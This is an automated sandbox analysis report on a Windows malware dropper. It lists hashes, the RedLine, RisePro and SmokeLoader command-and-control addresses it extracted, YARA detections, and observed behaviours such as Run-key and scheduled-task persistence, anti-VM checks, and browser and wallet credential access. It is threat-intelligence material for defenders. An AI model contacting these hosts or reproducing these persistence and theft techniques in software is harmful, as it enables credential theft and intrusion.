Analysis
-
max time kernel
91s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20231127-en -
resource tags
arch:x64arch:x86image:win10v2004-20231127-enlocale:en-usos:windows10-2004-x64system -
submitted
29-11-2023 13:49
Static task
static1
Behavioral task
behavioral1
Sample
5cb85de204b035a16ee3ea7f9adea9fe9785a70f21aa26eac498e0b7d4fa5e60.exe
Resource
win10v2004-20231127-en
General
-
Target
5cb85de204b035a16ee3ea7f9adea9fe9785a70f21aa26eac498e0b7d4fa5e60.exe
-
Size
1.7MB
-
MD5
28ab830a811cb185ddd75568a8eaf994
-
SHA1
50d73300959e82e6e8f4020d8e6d96d6c8a4cce9
-
SHA256
5cb85de204b035a16ee3ea7f9adea9fe9785a70f21aa26eac498e0b7d4fa5e60
-
SHA512
0e260edcd7a800fe8e3de66611d80488211ac4d498326de4952758ee54f488036c464cdc31d49323553bf4ba8a777c09caeab4f7459287552ec33f0c68492f04
-
SSDEEP
24576:yywDUfQUYIhFI9yxWw2C54Ty3B9/lYxwQVCDWSIck8i8j7nSlXiiWT7IzK6neLNb:ZwDyOK8ePPx9/lYxYe8DQXT40+iqL+E
Malware Config
Extracted
risepro
194.49.94.152
Extracted
redline
horda
194.49.94.152:19053
Extracted
smokeloader
2022
http://194.49.94.210/fks/index.php
Extracted
redline
@ytlogsbot
194.169.175.235:42691
Extracted
redline
LiveTraffic
195.10.205.16:2245
Signatures
-
Detect ZGRat V1 26 IoCs
Processes:
resource yara_rule behavioral1/memory/3768-724-0x000001D27E170000-0x000001D27E254000-memory.dmp family_zgrat_v1 behavioral1/memory/3768-730-0x000001D27E170000-0x000001D27E250000-memory.dmp family_zgrat_v1 behavioral1/memory/3768-732-0x000001D27E170000-0x000001D27E250000-memory.dmp family_zgrat_v1 behavioral1/memory/3768-727-0x000001D27E170000-0x000001D27E250000-memory.dmp family_zgrat_v1 behavioral1/memory/3768-734-0x000001D27E170000-0x000001D27E250000-memory.dmp family_zgrat_v1 behavioral1/memory/3768-736-0x000001D27E170000-0x000001D27E250000-memory.dmp family_zgrat_v1 behavioral1/memory/3768-738-0x000001D27E170000-0x000001D27E250000-memory.dmp family_zgrat_v1 behavioral1/memory/3768-740-0x000001D27E170000-0x000001D27E250000-memory.dmp family_zgrat_v1 behavioral1/memory/3768-742-0x000001D27E170000-0x000001D27E250000-memory.dmp family_zgrat_v1 behavioral1/memory/3768-744-0x000001D27E170000-0x000001D27E250000-memory.dmp family_zgrat_v1 behavioral1/memory/3768-748-0x000001D27E170000-0x000001D27E250000-memory.dmp family_zgrat_v1 behavioral1/memory/3768-750-0x000001D27E170000-0x000001D27E250000-memory.dmp family_zgrat_v1 behavioral1/memory/3768-746-0x000001D27E170000-0x000001D27E250000-memory.dmp family_zgrat_v1 behavioral1/memory/3768-754-0x000001D27E170000-0x000001D27E250000-memory.dmp family_zgrat_v1 behavioral1/memory/3768-752-0x000001D27E170000-0x000001D27E250000-memory.dmp family_zgrat_v1 behavioral1/memory/3768-756-0x000001D27E170000-0x000001D27E250000-memory.dmp family_zgrat_v1 behavioral1/memory/3768-767-0x000001D27E170000-0x000001D27E250000-memory.dmp family_zgrat_v1 behavioral1/memory/3768-769-0x000001D27E170000-0x000001D27E250000-memory.dmp family_zgrat_v1 behavioral1/memory/3768-771-0x000001D27E170000-0x000001D27E250000-memory.dmp family_zgrat_v1 behavioral1/memory/3768-773-0x000001D27E170000-0x000001D27E250000-memory.dmp family_zgrat_v1 behavioral1/memory/3768-775-0x000001D27E170000-0x000001D27E250000-memory.dmp family_zgrat_v1 behavioral1/memory/3768-777-0x000001D27E170000-0x000001D27E250000-memory.dmp family_zgrat_v1 behavioral1/memory/3768-779-0x000001D27E170000-0x000001D27E250000-memory.dmp family_zgrat_v1 behavioral1/memory/3768-781-0x000001D27E170000-0x000001D27E250000-memory.dmp family_zgrat_v1 behavioral1/memory/3768-783-0x000001D27E170000-0x000001D27E250000-memory.dmp family_zgrat_v1 behavioral1/memory/3768-785-0x000001D27E170000-0x000001D27E250000-memory.dmp family_zgrat_v1 -
PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 3 IoCs
Processes:
resource yara_rule behavioral1/memory/3968-38-0x0000000000400000-0x000000000043C000-memory.dmp family_redline behavioral1/memory/6616-695-0x0000000000250000-0x000000000028E000-memory.dmp family_redline behavioral1/memory/4580-1624-0x0000000002BC0000-0x0000000002BFC000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
Processes:
latestX.exedescription pid process target process PID 1812 created 3272 1812 latestX.exe Explorer.EXE PID 1812 created 3272 1812 latestX.exe Explorer.EXE PID 1812 created 3272 1812 latestX.exe Explorer.EXE PID 1812 created 3272 1812 latestX.exe Explorer.EXE PID 1812 created 3272 1812 latestX.exe Explorer.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 198 6616 powershell.exe -
Downloads MZ/PE file
-
Drops file in Drivers directory 1 IoCs
Processes:
latestX.exedescription ioc process File created C:\Windows\System32\drivers\etc\hosts latestX.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
-
Stops running service(s) 3 TTPs
-
Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
toolspub2.exe4534.exe513D.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3455265224-196869244-2056873367-1000\Control Panel\International\Geo\Nation toolspub2.exe Key value queried \REGISTRY\USER\S-1-5-21-3455265224-196869244-2056873367-1000\Control Panel\International\Geo\Nation 4534.exe Key value queried \REGISTRY\USER\S-1-5-21-3455265224-196869244-2056873367-1000\Control Panel\International\Geo\Nation 513D.exe -
Drops startup file 1 IoCs
Processes:
AppLaunch.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FANBooster131.lnk AppLaunch.exe -
Executes dropped EXE 33 IoCs
Processes:
ES2fl98.exent4mT96.exeVx3VT98.exe1Fw40dI9.exe2Tw6295.exe3bN57wO.exe4lO623ao.exe5UT0qf8.exepowershell.exeDF6.exeConhost.exe4534.exeInstallSetup9.exetoolspub2.exeBroom.exepowershell.exe4DD0.exe4F29.exe4DD0.tmptuc3.exe513D.exesc.exelatestX.exe55D3.exetuc3.tmppowershell.exeVolumeSYNCH.exempeg4bind.exempeg4bind.exetoolspub2.exe31839b57a4f11171d6abc8bbc4451ee4.exe513D.exeupdater.exepid process 1904 ES2fl98.exe 4792 nt4mT96.exe 448 Vx3VT98.exe 4972 1Fw40dI9.exe 3444 2Tw6295.exe 3308 3bN57wO.exe 2796 4lO623ao.exe 6320 5UT0qf8.exe 6616 powershell.exe 5420 DF6.exe 3768 Conhost.exe 7084 4534.exe 7152 InstallSetup9.exe 6340 toolspub2.exe 3368 Broom.exe 4756 powershell.exe 3012 4DD0.exe 5988 4F29.exe 6552 4DD0.tmp 4228 tuc3.exe 4272 513D.exe 4580 sc.exe 1812 latestX.exe 4548 55D3.exe 1080 tuc3.tmp 3572 powershell.exe 6612 VolumeSYNCH.exe 5552 mpeg4bind.exe 1360 mpeg4bind.exe 3736 toolspub2.exe 6240 31839b57a4f11171d6abc8bbc4451ee4.exe 1672 513D.exe 6944 updater.exe -
Loads dropped DLL 4 IoCs
Processes:
4DD0.tmptuc3.tmppid process 6552 4DD0.tmp 1080 tuc3.tmp 1080 tuc3.tmp 1080 tuc3.tmp -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 5 IoCs
Processes:
AppLaunch.exe5cb85de204b035a16ee3ea7f9adea9fe9785a70f21aa26eac498e0b7d4fa5e60.exeES2fl98.exent4mT96.exeVx3VT98.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3455265224-196869244-2056873367-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MaxLoonaFest131 = "C:\\Users\\Admin\\AppData\\Local\\MaxLoonaFest131\\MaxLoonaFest131.exe" AppLaunch.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" 5cb85de204b035a16ee3ea7f9adea9fe9785a70f21aa26eac498e0b7d4fa5e60.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" ES2fl98.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" nt4mT96.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\"" Vx3VT98.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
AutoIT Executable 2 IoCs
AutoIT scripts compiled to PE executables.
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\4lO623ao.exe autoit_exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\4lO623ao.exe autoit_exe -
Drops file in System32 directory 7 IoCs
Processes:
AppLaunch.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\SysWOW64\GroupPolicy\gpt.ini AppLaunch.exe File created C:\Windows\System32\GroupPolicy\Machine\Registry.pol AppLaunch.exe File opened for modification C:\Windows\System32\GroupPolicy\GPT.INI AppLaunch.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\System32\GroupPolicy AppLaunch.exe -
Suspicious use of SetThreadContext 6 IoCs
Processes:
1Fw40dI9.exe2Tw6295.exe5UT0qf8.exeDF6.exetoolspub2.exe513D.exedescription pid process target process PID 4972 set thread context of 4624 4972 1Fw40dI9.exe AppLaunch.exe PID 3444 set thread context of 3968 3444 2Tw6295.exe AppLaunch.exe PID 6320 set thread context of 5848 6320 5UT0qf8.exe AppLaunch.exe PID 5420 set thread context of 3768 5420 DF6.exe Conhost.exe PID 6340 set thread context of 3736 6340 toolspub2.exe toolspub2.exe PID 4272 set thread context of 1672 4272 513D.exe 513D.exe -
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
Processes:
31839b57a4f11171d6abc8bbc4451ee4.exedescription ioc process File opened (read-only) \??\VBoxMiniRdrDN 31839b57a4f11171d6abc8bbc4451ee4.exe -
Drops file in Program Files directory 39 IoCs
Processes:
4DD0.tmptuc3.tmplatestX.exedescription ioc process File created C:\Program Files (x86)\Common Files\VolumeSYNCH\is-TL0JC.tmp 4DD0.tmp File created C:\Program Files (x86)\Common Files\MPEG4Binder\is-5PFUK.tmp tuc3.tmp File created C:\Program Files (x86)\Common Files\MPEG4Binder\is-1DDHF.tmp tuc3.tmp File created C:\Program Files (x86)\Common Files\MPEG4Binder\is-D12LO.tmp tuc3.tmp File opened for modification C:\Program Files (x86)\Common Files\MPEG4Binder\mpeg4bind.exe tuc3.tmp File created C:\Program Files (x86)\Common Files\VolumeSYNCH\is-NQB6U.tmp 4DD0.tmp File created C:\Program Files (x86)\Common Files\VolumeSYNCH\is-49ASU.tmp 4DD0.tmp File created C:\Program Files (x86)\Common Files\MPEG4Binder\is-J5IUT.tmp tuc3.tmp File created C:\Program Files (x86)\Common Files\MPEG4Binder\UIText\is-PTIC8.tmp tuc3.tmp File created C:\Program Files (x86)\Common Files\VolumeSYNCH\UIText\is-3E491.tmp 4DD0.tmp File created C:\Program Files (x86)\Common Files\VolumeSYNCH\UIText\is-SU9OL.tmp 4DD0.tmp File opened for modification C:\Program Files (x86)\Common Files\VolumeSYNCH\unins000.dat 4DD0.tmp File created C:\Program Files (x86)\Common Files\MPEG4Binder\is-PECI3.tmp tuc3.tmp File created C:\Program Files (x86)\Common Files\MPEG4Binder\is-M1QR6.tmp tuc3.tmp File created C:\Program Files (x86)\Common Files\VolumeSYNCH\is-P18SK.tmp 4DD0.tmp File created C:\Program Files (x86)\Common Files\VolumeSYNCH\is-K732V.tmp 4DD0.tmp File created C:\Program Files (x86)\Common Files\MPEG4Binder\is-N2CT4.tmp tuc3.tmp File created C:\Program Files (x86)\Common Files\MPEG4Binder\UIText\is-RUHB6.tmp tuc3.tmp File created C:\Program Files (x86)\Common Files\MPEG4Binder\is-JS662.tmp tuc3.tmp File created C:\Program Files (x86)\Common Files\VolumeSYNCH\is-PK7EG.tmp 4DD0.tmp File created C:\Program Files (x86)\Common Files\VolumeSYNCH\is-JUJUA.tmp 4DD0.tmp File created C:\Program Files (x86)\Common Files\VolumeSYNCH\is-9ICJ6.tmp 4DD0.tmp File created C:\Program Files (x86)\Common Files\VolumeSYNCH\is-EE7IS.tmp 4DD0.tmp File created C:\Program Files (x86)\Common Files\MPEG4Binder\is-LHC46.tmp tuc3.tmp File created C:\Program Files (x86)\Common Files\VolumeSYNCH\is-B428K.tmp 4DD0.tmp File opened for modification C:\Program Files (x86)\Common Files\VolumeSYNCH\VolumeSYNCH.exe 4DD0.tmp File created C:\Program Files (x86)\Common Files\MPEG4Binder\is-UB6FH.tmp tuc3.tmp File opened for modification C:\Program Files (x86)\Common Files\MPEG4Binder\unins000.dat tuc3.tmp File created C:\Program Files\Google\Chrome\updater.exe latestX.exe File created C:\Program Files (x86)\Common Files\VolumeSYNCH\unins000.dat 4DD0.tmp File created C:\Program Files (x86)\Common Files\VolumeSYNCH\is-DLL5K.tmp 4DD0.tmp File created C:\Program Files (x86)\Common Files\MPEG4Binder\unins000.dat tuc3.tmp File created C:\Program Files (x86)\Common Files\MPEG4Binder\is-9FPPT.tmp tuc3.tmp File created C:\Program Files (x86)\Common Files\MPEG4Binder\is-C0QF3.tmp tuc3.tmp File created C:\Program Files (x86)\Common Files\VolumeSYNCH\is-A0BVF.tmp 4DD0.tmp File created C:\Program Files (x86)\Common Files\VolumeSYNCH\is-QSA3B.tmp 4DD0.tmp File created C:\Program Files (x86)\Common Files\VolumeSYNCH\is-77PHQ.tmp 4DD0.tmp File created C:\Program Files (x86)\Common Files\MPEG4Binder\is-KBIVN.tmp tuc3.tmp File created C:\Program Files (x86)\Common Files\MPEG4Binder\is-TPG11.tmp tuc3.tmp -
Launches sc.exe 11 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 4084 sc.exe 6156 sc.exe 6928 sc.exe 4272 sc.exe 5352 sc.exe 1840 sc.exe 6648 sc.exe 5648 sc.exe 4748 sc.exe 4580 sc.exe 4520 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks SCSI registry key(s) 3 TTPs 9 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
toolspub2.exe3bN57wO.exeAppLaunch.exedescription ioc process Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspub2.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 3bN57wO.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 3bN57wO.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI AppLaunch.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI AppLaunch.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspub2.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspub2.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 3bN57wO.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI AppLaunch.exe -
Creates scheduled task(s) 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 5988 schtasks.exe 5036 schtasks.exe 4312 schtasks.exe 6116 schtasks.exe 1656 schtasks.exe -
Enumerates system info in registry 2 TTPs 6 IoCs
Processes:
msedge.exemsedge.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName msedge.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName msedge.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS msedge.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
31839b57a4f11171d6abc8bbc4451ee4.exepowershell.exepowershell.exepowershell.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2631 = "Norfolk Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1872 = "Russia TZ 7 Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1842 = "Russia TZ 4 Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2492 = "Aus Central W. Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1892 = "Russia TZ 3 Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1661 = "Bahia Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2411 = "Marquesas Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2321 = "Sakhalin Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1831 = "Russia TZ 2 Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1841 = "Russia TZ 4 Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2512 = "Lord Howe Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1971 = "Belarus Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2432 = "Cuba Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2751 = "Tomsk Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2792 = "Novosibirsk Standard Time" 